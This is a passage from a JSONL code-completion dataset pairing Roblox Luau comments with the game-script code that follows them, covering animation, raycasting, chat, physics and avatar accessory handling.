\"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\n\nend\n\nfunction onEquippedLocal(mouse)\n\t\n\n\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\t--mouse.Button1Up:connect(function() unButton1Down(mouse) end)\nend\n"} +{"prompt": "--\t\tsetAnimationSpeed(speed / scale)", "completion": "\n\t\tpose = \"Running\"\n\telse"} +{"prompt": "--- VARIABLES/CONSTANTS ---", "completion": "\n\nplayer = game.Players.LocalPlayer\nmouse = player:GetMouse()\ncamera = workspace.Camera\n\n\n"} +{"prompt": "--Remove value", "completion": "\nfunction module:RemoveStat(player, locationName, newValue)\n\tlocal location = main.pd[player][locationName]\n\tif location then\n\t\tfor i,v in pairs(location) do\n\t\t\tif tostring(v) == tostring(newValue) then\n\t\t\t\ttable.remove(main.pd[player][locationName], i)\n\t\t\t\tmain.pd[player].DataToUpdate = true\n\t\t\t\tmain.signals.RemoveStat:FireClient(player, {locationName, newValue})\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\nend\n\n\n"} +{"prompt": "--\tsetAnimationSpeed(speed / scale)", "completion": "\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n"} +{"prompt": "-- Note that this has not been refactored into a class yet", "completion": "\nChassis.InitializeDrivingValues()\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Parent__1 = script.Parent;\nlocal l__LocalPlayer__2 = game.Players.LocalPlayer;\nl__Parent__1.Equipped:Connect(function()\n\tscript.Parent.LocalScript.SpeedSound:Play();\n\tscript.DoubleJ.Disabled = false;\nend);\nl__Parent__1.Unequipped:Connect(function()\n\tscript.DoubleJ.Disabled = true;\nend);\n"} +{"prompt": "--[[ Flags ]]", "completion": "\nlocal FFlagUserExcludeNonCollidableForPathfindingSuccess, FFlagUserExcludeNonCollidableForPathfindingResult =\n pcall(function() return UserSettings():IsUserFeatureEnabled(\"UserExcludeNonCollidableForPathfinding\") end)\nlocal FFlagUserExcludeNonCollidableForPathfinding = FFlagUserExcludeNonCollidableForPathfindingSuccess and FFlagUserExcludeNonCollidableForPathfindingResult\n"} +{"prompt": "-- An object which can listen for updates on another state object.", "completion": "\nexport type Observer = PubTypes.Observer & {\n\t_changeListeners: Set<() -> ()>,\n\t_numChangeListeners: number\n}\n\nreturn nil\n"} +{"prompt": "-- Values", "completion": "\nlocal EffectsInstance = Effects.new(Car.Chassis, Car.Effects, Car)\nlocal RayParams = RaycastParams.new()\n\nRayParams.FilterType = Enum.RaycastFilterType.Blacklist\nRayParams.FilterDescendantsInstances = {workspace.Officers, workspace.IgnoreRaycast}\n\nlocal Ignition = true\nlocal RaycastDistance = 5000\nlocal TargetHumanoid: Humanoid = nil\n\nlocal StuckTick, ReverseTick, Speed = 0, 0, 0\nlocal Reverse = false"} +{"prompt": "--// Unused (Don't delete)", "completion": "\n\tRestMode = false;\n\tAttachmentsEnabled = true;\n\tUIScope = false;\n\tCanSlideLock = true;\n\t\t"} +{"prompt": "---- GETTERS AND SETTERS ----", "completion": "\n\nlocal function ModifyTransformation(cast: ActiveCast, velocity: Vector3?, acceleration: Vector3?, position: Vector3?)\n\tlocal trajectories = cast.StateInfo.Trajectories\n\tlocal lastTrajectory = trajectories[#trajectories]\n\t\n\t-- NEW BEHAVIOR: Don't create a new trajectory if we haven't even used the current one.\n\tif lastTrajectory.StartTime == cast.StateInfo.TotalRuntime then\n\t\t-- This trajectory is fresh out of the box. Let's just change it since it hasn't actually affected the cast yet, so changes won't have adverse effects.\n\t\tif (velocity == nil) then\n\t\t\tvelocity = lastTrajectory.InitialVelocity\n\t\tend\n\t\tif (acceleration == nil) then\n\t\t\tacceleration = lastTrajectory.Acceleration\n\t\tend\n\t\tif (position == nil) then\n\t\t\tposition = lastTrajectory.Origin\n\t\tend\t\n\t\t\n\t\tlastTrajectory.Origin = position\n\t\tlastTrajectory.InitialVelocity = velocity\n\t\tlastTrajectory.Acceleration = acceleration\n\telse\n\t\t-- The latest trajectory is done. Set its end time and get its location. \n\t\tlastTrajectory.EndTime = cast.StateInfo.TotalRuntime\n\t\t\n\t\tlocal point, velAtPoint = unpack(GetLatestTrajectoryEndInfo(cast))\n\t\t\n\t\tif (velocity == nil) then\n\t\t\tvelocity = velAtPoint\n\t\tend\n\t\tif (acceleration == nil) then\n\t\t\tacceleration = lastTrajectory.Acceleration\n\t\tend\n\t\tif (position == nil) then\n\t\t\tposition = point\n\t\tend\t\n\t\ttable.insert(cast.StateInfo.Trajectories, {\n\t\t\tStartTime = cast.StateInfo.TotalRuntime,\n\t\t\tEndTime = -1,\n\t\t\tOrigin = position,\n\t\t\tInitialVelocity = velocity,\n\t\t\tAcceleration = acceleration\n\t\t})\n\t\tcast.StateInfo.CancelHighResCast = true\n\tend\nend\n\nfunction ActiveCastStatic:SetVelocity(velocity: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"SetVelocity\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tModifyTransformation(self, velocity, nil, nil)\nend\n\nfunction ActiveCastStatic:SetAcceleration(acceleration: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"SetAcceleration\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tModifyTransformation(self, nil, acceleration, nil)\nend\n\nfunction ActiveCastStatic:SetPosition(position: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"SetPosition\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tModifyTransformation(self, nil, nil, position)\nend\n\nfunction ActiveCastStatic:GetVelocity(): Vector3\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"GetVelocity\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tlocal currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]\n\treturn GetVelocityAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)\nend\n\nfunction ActiveCastStatic:GetAcceleration(): Vector3\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"GetAcceleration\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tlocal currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]\n\treturn currentTrajectory.Acceleration\nend\n\nfunction ActiveCastStatic:GetPosition(): Vector3\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"GetPosition\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tlocal currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]\n\treturn GetPositionAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.Origin, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)\nend\n"} +{"prompt": "--//", "completion": "\n\nfunction Raycast.new(Params, Penetration, AllowCanCollideFalse, InvisiblePartsBlockRaycast, MaxPenetrations, MinTransparencyToBeInvisible)\n\tlocal ray = {}\n\tray.Parameters = Params or RaycastParams.new()\n\tray.Penetration = Penetration or 0\n\tray.AllowCanCollideFalse = AllowCanCollideFalse or false\n\tray.InvisiblePartsBlockRaycast = InvisiblePartsBlockRaycast or false\n\tray.MaxPenetrations = MaxPenetrations or 1\n\tray.MinTransparencyToBeInvisible = MinTransparencyToBeInvisible or 1\n\t\n\treturn setmetatable(ray,Raycast)\nend\n"} +{"prompt": "--Variables", "completion": "\nlocal rep = game:GetService(\"ReplicatedStorage\") --You can change this to ServerStorage for more security.\nlocal nametag = rep.NameTag \n"} +{"prompt": "--!strict", "completion": "\nlocal function strict(t: { [any]: any }, name: string?)\n\t-- FIXME Luau: Need to define a new variable since reassigning `name = ...`\n\t-- doesn't narrow the type\n\tlocal newName = name or tostring(t)\n\n\treturn setmetatable(t, {\n\t\t__index = function(_self, key)\n\t\t\tlocal message = (\"%q (%s) is not a valid member of %s\"):format(tostring(key), typeof(key), newName)\n\n\t\t\terror(message, 2)\n\t\tend,\n\n\t\t__newindex = function(_self, key, _value)\n\t\t\tlocal message = (\"%q (%s) is not a valid member of %s\"):format(tostring(key), typeof(key), newName)\n\n\t\t\terror(message, 2)\n\t\tend,\n\t})\nend\n\nreturn strict\n"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal Chat = game:GetService(\"Chat\")\nlocal clientChatModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal messageCreatorModules = clientChatModules:WaitForChild(\"MessageCreatorModules\")\nlocal messageCreatorUtil = require(messageCreatorModules:WaitForChild(\"Util\"))\nlocal modulesFolder = script.Parent\nlocal ChatSettings = require(clientChatModules:WaitForChild(\"ChatSettings\"))\nlocal moduleObjectPool = require(modulesFolder:WaitForChild(\"ObjectPool\"))\nlocal MessageSender = require(modulesFolder:WaitForChild(\"MessageSender\"))\n"} +{"prompt": "--[[ Services ]]", "completion": "--\nlocal PlayersService = game:GetService(\"Players\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal Settings = UserSettings()\t-- ignore warning\nlocal GameSettings = Settings.GameSettings\nlocal Mouse = PlayersService.LocalPlayer:GetMouse()\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForKeys = PubTypes.ForKeys & {\n\t_oldDependencySet: Set,\n\t_processor: (KI) -> (KO),\n\t_destructor: (KO, M?) -> (),\n\t_inputIsState: boolean,\n\t_inputTable: PubTypes.CanBeState<{ [KI]: KO }>,\n\t_oldInputTable: { [KI]: KO },\n\t_outputTable: { [KO]: any },\n\t_keyOIMap: { [KO]: KI },\n\t_meta: { [KO]: M? },\n\t_keyData: {\n\t\t[KI]: {\n\t\t\tdependencySet: Set,\n\t\t\toldDependencySet: Set,\n\t\t\tdependencyValues: { [PubTypes.Dependency]: any },\n\t\t},\n\t},\n}\n"} +{"prompt": "--[=[\n\tFired when the item view is closed.\n\n\t@prop itemViewClosed RBXScriptSignal\n\t@within MerchBooth\n\t@client\n]=]", "completion": "\nuiStatesEvents.itemViewClosed = Instance.new(\"BindableEvent\")\n"} +{"prompt": "--!strict", "completion": "\n\nlocal Character = script.Parent\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\nlocal pose = \"Standing\"\n\nlocal userNoUpdateOnLoopSuccess, userNoUpdateOnLoopValue = pcall(function() return UserSettings():IsUserFeatureEnabled(\"UserNoUpdateOnLoop\") end)\nlocal userNoUpdateOnLoop = userNoUpdateOnLoopSuccess and userNoUpdateOnLoopValue\n\nlocal AnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\nlocal HumanoidHipHeight = Humanoid.HipHeight\n\nlocal EMOTE_TRANSITION_TIME = 0.1\n\nlocal currentAnim = \"\"\nlocal currentAnimInstance = nil\nlocal currentAnimTrack = nil\nlocal currentAnimKeyframeHandler = nil\nlocal currentAnimSpeed = 1.0\n\nlocal runAnimTrack = nil\nlocal runAnimKeyframeHandler = nil\n\nlocal PreloadedAnims = {}\n\nlocal animTable = {}\nlocal animNames = { \n\tidle = \t{\t\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766666\", weight = 1 },\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766951\", weight = 1 },\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766388\", weight = 9 }\n\t\t\t},\n\twalk = \t{ \t\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777826\", weight = 10 } \n\t\t\t}, \n\trun = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507767714\", weight = 10 } \n\t\t\t}, \n\tswim = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507784897\", weight = 10 } \n\t\t\t}, \n\tswimidle = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507785072\", weight = 10 } \n\t\t\t}, \n\tjump = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507765000\", weight = 10 } \n\t\t\t}, \n\tfall = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507767968\", weight = 10 } \n\t\t\t}, \n\tclimb = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507765644\", weight = 10 } \n\t\t\t}, \n\tsit = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=2506281703\", weight = 10 } \n\t\t\t},\t\n\ttoolnone = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507768375\", weight = 10 } \n\t\t\t},\n\ttoolslash = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=522635514\", weight = 10 } \n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=522638767\", weight = 10 } \n\t\t\t},\n\twave = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770239\", weight = 10 } \n\t\t\t},\n\tpoint = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770453\", weight = 10 } \n\t\t\t},\n\tdance = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507771019\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507771955\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507772104\", weight = 10 } \n\t\t\t},\n\tdance2 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776043\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776720\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507776879\", weight = 10 } \n\t\t\t},\n\tdance3 = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777268\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777451\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777623\", weight = 10 } \n\t\t\t},\n\tlaugh = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770818\", weight = 10 } \n\t\t\t},\n\tcheer = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507770677\", weight = 10 } \n\t\t\t},\n}\n"} +{"prompt": "------------------------Checks if the area where the tree is regenerating has parts on it --------------------------", "completion": "\n\t\t\tlocal p = tree:GetChildren()\n\t\t\t--print (#p)\n\t\t\tlocal PPC = tree:GetPrimaryPartCFrame()\n\t\t\t--GetPartBoundsInBox Defines\n\t\t\tlocal filterObjects = {}\n\t\t\tlocal maxObjectsAllowed = math.huge\n\t\t\tlocal overlapParams = OverlapParams.new()\n\t\t\toverlapParams.CollisionGroup = \"Default\"\n\t\t\toverlapParams.FilterDescendantsInstances = filterObjects\n\t\t\toverlapParams.FilterType = Enum.RaycastFilterType.Blacklist\n\t\t\toverlapParams.MaxParts = maxObjectsAllowed\n\t\t\tlocal boundsbox = Vector3.new(12,31,12)\n\t\t\tlocal boundsboxCenter = CFrame.new(PPC.X, PPC.Y + 16.5, PPC.Z)\n\t\t\tlocal regenbox = workspace:GetPartBoundsInBox(boundsboxCenter, boundsbox, overlapParams)\n\t\t\t-- print (#regenbox)\n\t\t\tif #regenbox <= #p then -- Compares the # of parts in the tree model to the amount of parts in the tree model's region"} +{"prompt": "--Sound of Stabbing--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\tlocal prtc2 = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Back:clone()\n\t\tprtc.Parent = source_part\n\t\tprtc2 = script.Stab:clone()\n\t\tprtc2.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\t\tif prtc2 ~= nil then\n\t\t\tprtc2:destroy()\n\t\t\tprtc2 = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"JestGlobals\"][\"JestGlobals\"])\n\nreturn Package\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal sFallingDown = newSound(\"rbxasset://sounds/splat.wav\")\nlocal sGettingUp = newSound(\"rbxasset://sounds/action_get_up.mp3\")\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.mp3\") \nlocal sJumping = newSound(\"rbxasset://sounds/action_jump.mp3\")\nlocal sLanding = newSound(\"rbxasset://sounds/action_jump_land.mp3\")\nlocal sSplash = newSound(\"rbxasset://sounds/impact_water.mp3\")\nlocal sRunning = newSound(\"rbxasset://sounds/action_footsteps_plastic.mp3\")\nsRunning.Looped = true\nlocal sSwimming = newSound(\"rbxasset://sounds/action_swim.mp3\")\nsSwimming.Looped = true\nlocal sClimbing = newSound(\"rbxasset://sounds/action_footsteps_plastic.mp3\")\nsClimbing.Looped = true\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n\nlocal prevState = \"None\"\n"} +{"prompt": "--[[ Local Constants ]]", "completion": "--\nlocal VR_ANGLE = math.rad(15)\nlocal VR_PANEL_SIZE = 512\nlocal VR_ZOOM = 7\nlocal VR_FADE_SPEED = 10 -- 1/10 second\nlocal VR_SCREEN_EGDE_BLEND_TIME = 0.14\nlocal VR_SEAT_OFFSET = Vector3.new(0,4,0)\n\nlocal CameraInput = require(script.Parent:WaitForChild(\"CameraInput\"))\nlocal ZoomController = require(script.Parent:WaitForChild(\"ZoomController\"))\n\nlocal Players = game:GetService(\"Players\")\nlocal player = Players.LocalPlayer\n\nlocal Lighting = game:GetService(\"Lighting\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\n"} +{"prompt": "--[[\n\tCombine a number of dictionary-like tables into a new table.\n\n\tKeys specified in later tables will overwrite keys in previous tables.\n\n\tUse `Cryo.None` as a value to remove a key. This is necessary because\n\tLua does not distinguish between a value not being present in a table and a\n\tvalue being `nil`.\n]]", "completion": "\nlocal function join(...)\n\tlocal new = {}\n\n\tfor i = 1, select(\"#\", ...) do\n\t\tlocal source = select(i, ...)\n\n\t\tfor key, value in pairs(source) do\n\t\t\tif value == None then\n\t\t\t\tnew[key] = nil\n\t\t\telse\n\t\t\t\tnew[key] = value\n\t\t\tend\n\t\tend\n\tend\n\n\treturn new\nend\n\nreturn join\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal u2 = {};\nreturn function(p1)\n\tif u2[p1] ~= nil then\n\t\treturn u2[p1];\n\tend;\n\tlocal u3 = nil;\n\tpcall(function()\n\t\tu3 = u1.MarketplaceService:GetProductInfo(p1, Enum.InfoType.Product);\n\tend);\n\tif u3 ~= nil then\n\t\tu2[p1] = u3;\n\tend;\n\treturn u3;\nend;\n"} +{"prompt": "---------------\n--// Code\n---------------", "completion": "\nfor i,v in pairs(PlayerGui:GetDescendants()) do\n\tif v:IsA(\"TextButton\") or v:IsA(\"ImageButton\") then\n\t\tv.MouseButton1Down:Connect(function()\n\t\t\tgame.SoundService.Effects.popDown:Play()\n\t\tend)\n\t\tv.MouseButton1Up:Connect(function()\n\t\t\tgame.SoundService.Effects.popUp:Play()\n\t\tend)\n\tend\nend\n\n\n\t\t\t\t\n"} +{"prompt": "-- Check for change event in input. Used for thumbstick input as those are analog", "completion": "\nuserInputService.InputChanged:connect(function(input, processed)\n\tif input.UserInputType == Enum.UserInputType.Gamepad1 then\n\t\t-- Check left thumbstick and move character on change\n\t\tif input.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\tcharacter.Humanoid:Move(Vector3.new(input.Position.X, 0, -input.Position.Y), true)\n\t\tend\n\t\t-- Check right thumbstick and change camera angle on change\n\t\tif input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\t\tdeltaAngle = input.Position.X * 5\n\t\tend\n\tend\nend)\n "} +{"prompt": "-- Roblox services", "completion": "\nlocal PhysicsService = game:GetService(\"PhysicsService\")\nlocal Players = game:GetService(\"Players\")\n\n\nlocal npcModel = script.Parent\n"} +{"prompt": "--[[\n\t[Whether the whole character turns to face the mouse.]\n\t[If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0]\n--]]", "completion": "\nlocal TurnCharacterToMouse = false"} +{"prompt": "--(\"no gui found - adding\")", "completion": "\nlocal newgui=script.VehicleGui:clone()\nscript.Parent.Scopeit.Value = false\nnewgui.Parent=pl.PlayerGui\nnewgui.Vehicle.Value=script.Parent.Parent\nnewgui.Fire.Disabled = false"} +{"prompt": "-- Functions ", "completion": "\n\nfunction SPRING.create(self, mass, force, damping, speed)\n\n\tlocal spring\t= {\n\t\tTarget\t\t= Vector3.new();\n\t\tPosition\t= Vector3.new();\n\t\tVelocity\t= Vector3.new();\n\t\t\n\t\tMass\t\t= mass or 5;\n\t\tForce\t\t= force or 50;\n\t\tDamping\t\t= damping or 4;\n\t\tSpeed\t\t= speed or 4;\n\t}\n\t\n\tfunction spring.shove(self, force)\n\t\tlocal x, y, z\t= force.X, force.Y, force.Z\n\t\tif x ~= x or x == math.huge or x == -math.huge then\n\t\t\tx\t= 0\n\t\tend\n\t\tif y ~= y or y == math.huge or y == -math.huge then\n\t\t\ty\t= 0\n\t\tend\n\t\tif z ~= z or z == math.huge or z == -math.huge then\n\t\t\tz\t= 0\n\t\tend\n\t\tself.Velocity\t= self.Velocity + Vector3.new(x, y, z)\n\tend\n\t\n\tfunction spring.update(self, dt)\n\t\tlocal scaledDeltaTime = math.min(dt,1) * self.Speed / ITERATIONS\n\t\t\n\t\tfor i = 1, ITERATIONS do\n\t\t\tlocal iterationForce= self.Target - self.Position\n\t\t\tlocal acceleration\t= (iterationForce * self.Force) / self.Mass\n\t\t\t\n\t\t\tacceleration\t\t= acceleration - self.Velocity * self.Damping\n\t\t\t\n\t\t\tself.Velocity\t= self.Velocity + acceleration * scaledDeltaTime\n\t\t\tself.Position\t= self.Position + self.Velocity * scaledDeltaTime\n\t\tend\n\t\t\n\t\treturn self.Position\n\tend\n\t\n\treturn spring\nend"} +{"prompt": "-- // Variables", "completion": "\nlocal player = playersService.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal rootPart = character:WaitForChild(\"HumanoidRootPart\")\n"} +{"prompt": "--\t[\"1527622\"] = true,\n--\t[\"4640898\"] = true,\n--\t[\"1055299\"] = true,", "completion": "\n}\n\nlocal allowedAssets = {\n\t[\"8\"] = true, -- Hat\n\t[\"11\"] = true, -- Shirt\n\t[\"12\"] = true, -- Pants\n\t[\"17\"] = true, -- Head\n\t[\"18\"] = true, -- Face\n\t[\"27\"] = true, -- Torso\n\t[\"28\"] = true, -- RightArm\n\t[\"29\"] = true, -- LeftArm\n\t[\"30\"] = true, -- LeftLeg\n\t[\"31\"] = true, -- RightLeg\n\t[\"41\"] = true, -- HairAccessory\n\t[\"42\"] = true, -- FaceAccessory\n\t[\"43\"] = true, -- NeckAccessory\n\t[\"44\"] = true, -- ShoulderAccessory\n\t[\"45\"] = true, -- FrontAccessory\n\t[\"46\"] = true, -- BackAccessory\n\t[\"47\"] = true, -- WaistAccessory\n\t[\"48\"] = true, -- ClimbAnimation\n\t[\"50\"] = true, -- FallAnimation\n\t[\"51\"] = true, -- IdleAnimation\n\t[\"52\"] = true, -- JumpAnimation\n\t[\"53\"] = true, -- RunAnimation\n\t[\"54\"] = true, -- SwimAnimation\n\t[\"55\"] = true, -- WalkAnimation\n}\n\nlocal playerWearingAssets = {}\nlocal AssetTypeEnumLookup = {}\n\nlocal function insertToTable(assets, productInfo)\n\ttable.insert(assets, {\n\t\tid = productInfo.AssetId,\n\t\tassetType = {\n\t\t\tname = AssetTypeEnumLookup[productInfo.AssetTypeId].Name,\n\t\t\tid = productInfo.AssetTypeId,\n\t\t},\n\t\tname = productInfo.Name\n\t})\nend\n\nlocal function getOriginalHeadMesh()\n\tlocal mesh = Instance.new(\"SpecialMesh\")\n\tmesh.MeshType = Enum.MeshType.Head\n\tmesh.Scale = Vector3.new(1.25, 1.25, 1.25)\n\tlocal originalSize = Instance.new(\"Vector3Value\")\n\toriginalSize.Name = \"OriginalSize\"\n\toriginalSize.Value = Vector3.new(1.25, 1.25, 1.25)\n\toriginalSize.Parent = mesh\n\treturn mesh\nend\n\nlocal function getOriginalFace()\n\tlocal decal = Instance.new(\"Decal\")\n\tdecal.Texture = DEFAULT_FACE\n\treturn decal\nend\n\nlocal function getOriginalClothing(clothe)\n\tif clothe == \"Shirt\" then\n\t\tlocal shirt = Instance.new(\"Shirt\")\n\t\tshirt.ShirtTemplate = DEFAULT_SHIRT\n\t\treturn shirt\n\telseif clothe == \"Pants\" then\n\t\tlocal pants = Instance.new(\"Pants\")\n\t\tpants.PantsTemplate = DEFAULT_PANTS\n\t\treturn pants\n\tend\nend\n\nlocal function wear(player, id)\n\tif id == nil or not (typeof(id) == \"number\") then\n\t\treturn\n\tend\n\tif not playerWearingAssets[player] then\n\t\treturn\n\tend\n\tif bannedAssets[tostring(id)] then\n\t\treturn\n\tend\n\t\n\tlocal productInfo, items\n\tlocal success, err = pcall(function()\n\t\tproductInfo = Marketplace:GetProductInfo(id)\n\tend)\n\tif not success then\n\t\treturn warn(err)\n\tend\n\tlocal assetTypeId = tostring(productInfo.AssetTypeId)\n\tif not allowedAssets[assetTypeId] then\n\t\treturn\n\tend\n\t\n\tlocal character = player.Character\n\tlocal humanoid = character and character:FindFirstChildWhichIsA(\"Humanoid\")\n\tif humanoid == nil or humanoid.Health <= 0 then\n\t\treturn\n\tend\n\t\n\tlocal success, err = pcall(function()\n\t\titems = Insert:LoadAsset(productInfo.AssetId)\n\tend)\n\tif not success then\n\t\treturn warn(err)\n\tend\n\tfor i, descendant in ipairs(items:GetDescendants()) do\n\t\tif descendant:IsA(\"LuaSourceContainer\") or descendant:IsA(\"BackpackItem\") then\n\t\t\tDebris:AddItem(descendant, 0)\n\t\tend\n\tend\n\t\n\tlocal characterAppearanceInfo = playerWearingAssets[player]\n\tlocal index = nil\n\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\tif asset.id == id then\n\t\t\tindex = i\n\t\t\tbreak\n\t\tend\n\tend\n\t\n\t-- is there a better way to do this?\n\tif assetTypeId == \"8\" or assetTypeId == \"41\" or assetTypeId == \"42\" or assetTypeId == \"43\" or assetTypeId == \"44\" or assetTypeId == \"45\" or assetTypeId == \"46\" or assetTypeId == \"47\" then\n\t\t-- accessory\n\t\tlocal accessory = items:GetChildren()[1]\n\t\tif not accessory:IsA(\"Accoutrement\") then\n\t\t\treturn\n\t\tend\n\t\tif index then\n\t\t\tlocal wearing = character:FindFirstChild(accessory.Name)\n\t\t\tif wearing then\n\t\t\t\tDebris:AddItem(wearing, 0)\n\t\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tend\n\t\telseif #humanoid:GetAccessories() < ACCESSORY_CAP then\n\t\t\thumanoid:AddAccessory(accessory)\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\tend\n\telseif assetTypeId == \"11\" or assetTypeId == \"12\" then\n\t\t-- clothing\n\t\tlocal clothing = items:GetChildren()[1]\n\t\tif not clothing:IsA(\"Clothing\") then\n\t\t\treturn\n\t\tend\n\t\tlocal wearing = character:FindFirstChildWhichIsA(clothing.ClassName)\n\t\tif wearing then\n\t\t\tDebris:AddItem(wearing, 0)\n\t\tend\n\t\tif index then\n\t\t\ttable.remove(characterAppearanceInfo.assets, index)\n\t\t\tgetOriginalClothing(clothing.ClassName).Parent = character\n\t\telse\n\t\t\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\t\t\tif productInfo.AssetTypeId == asset.assetType.id then\n\t\t\t\t\ttable.remove(characterAppearanceInfo.assets, i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tinsertToTable(characterAppearanceInfo.assets, productInfo)\n\t\t\tclothing.Parent = character\n\t\tend\n\telseif assetTypeId == \"48\" or assetTypeId == \"50\" or assetTypeId == \"51\" or assetTypeId == \"52\" or assetTypeId == \"53\" or assetTypeId == \"54\" or assetTypeId == \"55\" then\n\t\t-- animation\n\t\tlocal animationFolder = items:GetChildren()[1]\n\t\tlocal animateScript = 